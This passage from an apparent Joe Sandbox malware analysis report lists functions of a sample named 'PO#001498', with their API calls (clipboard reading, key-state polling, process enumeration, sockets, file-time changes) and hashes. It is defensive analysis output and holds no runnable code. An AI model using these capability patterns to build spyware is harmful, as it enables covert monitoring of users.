                                                                                                                                                                                                        • Process32FirstW.KERNEL32(00000000,00000002), ref: 00437050
                                                                                                                                                                                                        • Process32NextW.KERNEL32(00000000,?), ref: 00437075
                                                                                                                                                                                                        • __wsplitpath.LIBCMT ref: 004370A5
                                                                                                                                                                                                          • Part of subcall function 00413DB0: __wsplitpath_helper.LIBCMT ref: 00413DF2
                                                                                                                                                                                                        • _wcscat.LIBCMT ref: 004370BA
                                                                                                                                                                                                        • __wcsicoll.LIBCMT ref: 004370C8
                                                                                                                                                                                                        • CloseHandle.KERNEL32(00000000,?), ref: 00437105
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32__wcsicoll__wsplitpath__wsplitpath_helper_wcscat
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 2547909840-0
                                                                                                                                                                                                        • Opcode ID: fd838752e9d0606085fad0ec29118efadb7b5f17250a81beb0a2f2c9513d2e10
                                                                                                                                                                                                        • Instruction ID: d866d71778569fbbd99b025f777f77cc3db9ba9c83dfb601fa45888e96c7797d
                                                                                                                                                                                                        • Opcode Fuzzy Hash: fd838752e9d0606085fad0ec29118efadb7b5f17250a81beb0a2f2c9513d2e10
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 9C21A7B20083819BD735DB55C881BEFB7E8BB99304F00491EF5C947241EB79A589CB6A
                                                                                                                                                                                                        Function 00452126 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 127filesleepCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                          • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                                                                        • FindFirstFileW.KERNEL32(?,?,?,?,?,00000000), ref: 0045217E
                                                                                                                                                                                                        • Sleep.KERNEL32(0000000A,?,?,00000000), ref: 004521B2
                                                                                                                                                                                                        • FindNextFileW.KERNEL32(?,?,?,00000000), ref: 004522AC
                                                                                                                                                                                                        • FindClose.KERNEL32(?,?,00000000), ref: 004522C3
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Find$File$CloseFirstNextSleep_wcslen
                                                                                                                                                                                                        • String ID: *.*
                                                                                                                                                                                                        • API String ID: 2693929171-438819550
                                                                                                                                                                                                        • Opcode ID: 17936c38af85c1dbfc3d1ebbd0b26446ca2a596e07a4ad84d79ac0689e190811
                                                                                                                                                                                                        • Instruction ID: e6452ff64139cddd5fd774ab19bf2199aa97b2a19dc0f7115334900b47d689b2
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 17936c38af85c1dbfc3d1ebbd0b26446ca2a596e07a4ad84d79ac0689e190811
                                                                                                                                                                                                        • Instruction Fuzzy Hash: BD419D756083409FC314DF25C984A9FB7E4BF86305F04491FF98993291DBB8E949CB5A
                                                                                                                                                                                                        Function 0046C5D0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69clipboardCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • OpenClipboard.USER32(?), ref: 0046C635
                                                                                                                                                                                                        • IsClipboardFormatAvailable.USER32(0000000D), ref: 0046C643
                                                                                                                                                                                                        • GetClipboardData.USER32(0000000D), ref: 0046C64F
                                                                                                                                                                                                        • CloseClipboard.USER32 ref: 0046C65D
                                                                                                                                                                                                        • GlobalLock.KERNEL32(00000000), ref: 0046C688
                                                                                                                                                                                                        • CloseClipboard.USER32 ref: 0046C692
                                                                                                                                                                                                        • IsClipboardFormatAvailable.USER32(00000001), ref: 0046C6D5
                                                                                                                                                                                                        • GetClipboardData.USER32(00000001), ref: 0046C6DD
                                                                                                                                                                                                        • GlobalLock.KERNEL32(00000000), ref: 0046C6EE
                                                                                                                                                                                                        • GlobalUnlock.KERNEL32(00000000), ref: 0046C726
                                                                                                                                                                                                        • CloseClipboard.USER32 ref: 0046C866
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Clipboard$CloseGlobal$AvailableDataFormatLock$OpenUnlock
                                                                                                                                                                                                        • String ID: HH
                                                                                                                                                                                                        • API String ID: 589737431-2761332787
                                                                                                                                                                                                        • Opcode ID: 76419e0badb028214ed7bad9e924c36871e80023f9f647d131bfc03e45e064d3
                                                                                                                                                                                                        • Instruction ID: 5556deb4c8197336e1b92b5e2a85e957832ef7964462d916cb468ff193882e13
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 76419e0badb028214ed7bad9e924c36871e80023f9f647d131bfc03e45e064d3
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 7301F5762042005FC300AFB9ED45B6A7BA4EF59704F04097FF980A72C1EBB1E915C7AA
                                                                                                                                                                                                        Function 00436431 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 35COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • __wcsicoll.LIBCMT ref: 0043643C
                                                                                                                                                                                                        • mouse_event.USER32(00000800,00000000,00000000,00000078,00000000), ref: 00436452
                                                                                                                                                                                                        • __wcsicoll.LIBCMT ref: 00436466
                                                                                                                                                                                                        • mouse_event.USER32(00000800,00000000,00000000,00000088,00000000), ref: 0043647C
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: __wcsicollmouse_event
                                                                                                                                                                                                        • String ID: DOWN
                                                                                                                                                                                                        • API String ID: 1033544147-711622031
                                                                                                                                                                                                        • Opcode ID: 8e71a22f1bb6dc727f393f419cee3c46fab46d9365d91d475c80ba63e0095046
                                                                                                                                                                                                        • Instruction ID: 8a73d33e481528181e274ae5662561dddcd8f7088196b39fde8242b6fe69d79f
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 8e71a22f1bb6dc727f393f419cee3c46fab46d9365d91d475c80ba63e0095046
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 75E0927558872039FC4036253C02FFB174CAB66796F018116FE00D1291EA586D865BBD
                                                                                                                                                                                                        Function 004741BB Relevance: 7.6, APIs: 5, Instructions: 137networkCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                          • Part of subcall function 004647A2: inet_addr.WSOCK32(?), ref: 004647C7
                                                                                                                                                                                                        • socket.WSOCK32(00000002,00000002,00000011,?,00000000), ref: 00474213
                                                                                                                                                                                                        • WSAGetLastError.WSOCK32(00000000), ref: 00474233
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: ErrorLastinet_addrsocket
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 4170576061-0
                                                                                                                                                                                                        • Opcode ID: c11ce247c64ee683b380b6a697379cd3ea863651eb179087c325b129d43524e0
                                                                                                                                                                                                        • Instruction ID: 44a7e99483396e6262e636993c5e510db402c36a24f0b6146f21617b09e75fab
                                                                                                                                                                                                        • Opcode Fuzzy Hash: c11ce247c64ee683b380b6a697379cd3ea863651eb179087c325b129d43524e0
                                                                                                                                                                                                        • Instruction Fuzzy Hash: B6412C7164030067E720BB3A8C83F5A72D89F40728F144D5EF954BB2C3D6BAAD45475D
                                                                                                                                                                                                        Function 00456354 Relevance: 7.6, APIs: 5, Instructions: 127keyboardCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • GetCursorPos.USER32(004A83D8), ref: 0045636A
                                                                                                                                                                                                        • ScreenToClient.USER32(004A83D8,?), ref: 0045638A
                                                                                                                                                                                                        • GetAsyncKeyState.USER32(?), ref: 004563D0
                                                                                                                                                                                                        • GetAsyncKeyState.USER32(?), ref: 004563DC
                                                                                                                                                                                                        • GetWindowLongW.USER32(?,000000F0), ref: 00456430
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: AsyncState$ClientCursorLongScreenWindow
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 3539004672-0
                                                                                                                                                                                                        • Opcode ID: 8b6f1a7d11e91e3692d621cb91ecba55955a7a9a0de246f0cd2a62484a80ce0b
                                                                                                                                                                                                        • Instruction ID: 0eacbf52c9ff4b21db6d2500407d28a57be55752a0539e191fb639d8ee6a043b
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 8b6f1a7d11e91e3692d621cb91ecba55955a7a9a0de246f0cd2a62484a80ce0b
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 8E416071108341ABD724DF55CD84EBBB7E9EF86725F540B0EB8A543281C734A848CB6A
                                                                                                                                                                                                        Function 004772DE Relevance: 7.6, APIs: 5, Instructions: 67windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                          • Part of subcall function 0046DD22: IsWindow.USER32(00000000), ref: 0046DD51
                                                                                                                                                                                                        • IsWindowVisible.USER32 ref: 00477314
                                                                                                                                                                                                        • IsWindowEnabled.USER32 ref: 00477324
                                                                                                                                                                                                        • GetForegroundWindow.USER32(?,?,?,00000001,?,?), ref: 00477331
                                                                                                                                                                                                        • IsIconic.USER32 ref: 0047733F
                                                                                                                                                                                                        • IsZoomed.USER32 ref: 0047734D
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Window$EnabledForegroundIconicVisibleZoomed
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 292994002-0
                                                                                                                                                                                                        • Opcode ID: 1c24098bd8cb9da3f496229370c910df04dc27541171caa4f2956f9c30b83eee
                                                                                                                                                                                                        • Instruction ID: c753cb395bd8887e5e04db90522a3107d7308fd2cfa588f53a4db7a4177bc043
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 1c24098bd8cb9da3f496229370c910df04dc27541171caa4f2956f9c30b83eee
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 351172327041119BE3209B26DD05B9FB7A8AF91310F05882EFC49E7250D7B8EC42D7A9
                                                                                                                                                                                                        Function 00436D2D Relevance: 7.6, APIs: 5, Instructions: 52filetimeCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000,76233220,00000000,00000000,00442E95,?,?,?), ref: 00436D4F
                                                                                                                                                                                                        • SetFileTime.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,00000000), ref: 00436D8C
                                                                                                                                                                                                        • CloseHandle.KERNEL32(00000000,?,?,?,00000000), ref: 00436D93
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: File$CloseCreateHandleTime
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 3397143404-0
                                                                                                                                                                                                        • Opcode ID: 17e11168520f802dddbe8c477e19047108492bf153e6cd976562f268bfda3e60
                                                                                                                                                                                                        • Instruction ID: bce1a9391340f9688fe0750810cd2cb1b104417d8b3c1e96578cdf6de8724fbd
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 17e11168520f802dddbe8c477e19047108492bf153e6cd976562f268bfda3e60
                                                                                                                                                                                                        • Instruction Fuzzy Hash: A4F0C83634132077E5301A69AC8DFCF276CABDAB32F20452EF741A61C083D51445977D
                                                                                                                                                                                                        Function 0044EBBC Relevance: 7.6, APIs: 1, Strings: 3, Instructions: 551COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: _strncmp
                                                                                                                                                                                                        • String ID: ACCEPT$^$h
                                                                                                                                                                                                        • API String ID: 909875538-4263704089
                                                                                                                                                                                                        • Opcode ID: adbbb77bd847cefbadd23aa8e42bde8f813033e7c46a43322acc698efb747d92
                                                                                                                                                                                                        • Instruction ID: 72a2cba82410d8b1d90f72ff5cad5771b474d57714a55a9933f2c727144888ce
                                                                                                                                                                                                        • Opcode Fuzzy Hash: adbbb77bd847cefbadd23aa8e42bde8f813033e7c46a43322acc698efb747d92
                                                                                                                                                                                                        • Instruction Fuzzy Hash: AE22A0746083818FE725CF29C48076BBBE2BFC9304F24896EE8D587351D779984ACB56
                                                                                                                                                                                                        Function 0040D7F0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 74COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • _set_new_mode.LIBCMT ref: 0040D88C
                                                                                                                                                                                                        • SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 0040D8B9
                                                                                                                                                                                                        • FreeLibrary.KERNEL32(?), ref: 0040D8CE
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: FreeInfoLibraryParametersSystem_set_new_mode
                                                                                                                                                                                                        • String ID: #v
                                                                                                                                                                                                        • API String ID: 1188159508-554117064
                                                                                                                                                                                                        • Opcode ID: 06ca62d5f0ac41005a4bed089aefec56480100fd5cca74c1e28fe2d3c932602c
                                                                                                                                                                                                        • Instruction ID: 2b4412acdce639bfbf0f9e0c9ecf3f694f94d165ded01d265c3c64edb54a61d9
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 06ca62d5f0ac41005a4bed089aefec56480100fd5cca74c1e28fe2d3c932602c
                                                                                                                                                                                                        • Instruction Fuzzy Hash: C2215EB19183009FC700EF56D88150ABBE4FB98354F44497EF849A72A2D735A945CB9A
                                                                                                                                                                                                        Function 00446566 Relevance: 5.9, Strings: 4, Instructions: 868COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID:
                                                                                                                                                                                                        • String ID: ERCP$VUUU$VUUU$VUUU
                                                                                                                                                                                                        • API String ID: 0-2165971703
                                                                                                                                                                                                        • Opcode ID: fe5f619ecbbb89e409f3ebcf557090f4afc22d0cdf4dbad8df8e547bb5c0b5b7
                                                                                                                                                                                                        • Instruction ID: 514654dd073cfe12bfc68f6c44a091d7a3824994b709b832431b3f3de6bbd106
                                                                                                                                                                                                        • Opcode Fuzzy Hash: fe5f619ecbbb89e409f3ebcf557090f4afc22d0cdf4dbad8df8e547bb5c0b5b7
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 5562D3716087818BE734CF18C8807ABB7E1EBC6314F154A2FE49986390E779D949CB5B
                                                                                                                                                                                                        Function 0045C999 Relevance: 4.6, APIs: 3, Instructions: 130fileCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • FindFirstFileW.KERNEL32(00000000,?,?), ref: 0045C9BE
                                                                                                                                                                                                        • FindNextFileW.KERNEL32(00000000,?), ref: 0045CA1B
                                                                                                                                                                                                        • FindClose.KERNEL32(00000000,00000001,00000000), ref: 0045CA4A
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Find$File$CloseFirstNext
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 3541575487-0
                                                                                                                                                                                                        • Opcode ID: cd42767256c3935660832567e39f7af9e021373ba4cf75ddba00705dd7020de4
                                                                                                                                                                                                        • Instruction ID: 18858b47483a38653cd59612877c1399ad483e9f26b014a4aa46912757e3bc7b
                                                                                                                                                                                                        • Opcode Fuzzy Hash: cd42767256c3935660832567e39f7af9e021373ba4cf75ddba00705dd7020de4
                                                                                                                                                                                                        • Instruction Fuzzy Hash: EC41CE756003009FC720EF79D880A9BB3E4FF89315F208A6EED698B391D775A844CB95
                                                                                                                                                                                                        Function 00436ADE Relevance: 4.5, APIs: 3, Instructions: 28fileCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • GetFileAttributesW.KERNEL32(00000001,00000000), ref: 00436AEF
                                                                                                                                                                                                        • FindFirstFileW.KERNEL32(00000001,?), ref: 00436B00
                                                                                                                                                                                                        • FindClose.KERNEL32(00000000), ref: 00436B13
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: FileFind$AttributesCloseFirst
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 48322524-0
                                                                                                                                                                                                        • Opcode ID: 9dc85b775151a348b3ed896f2b5842869c214baa03f23a1e311506cc1954de59
                                                                                                                                                                                                        • Instruction ID: 417b6d6de692ea6945bae3bf725251b28653fd5bce93257cef0f58e2a105c1b1
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 9dc85b775151a348b3ed896f2b5842869c214baa03f23a1e311506cc1954de59
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 23E02236804418678600AB7CAC0C4EE779CDB0A335F100B96FE38C21D0D775A9408FEA
                                                                                                                                                                                                        Function 00443390 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 69COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
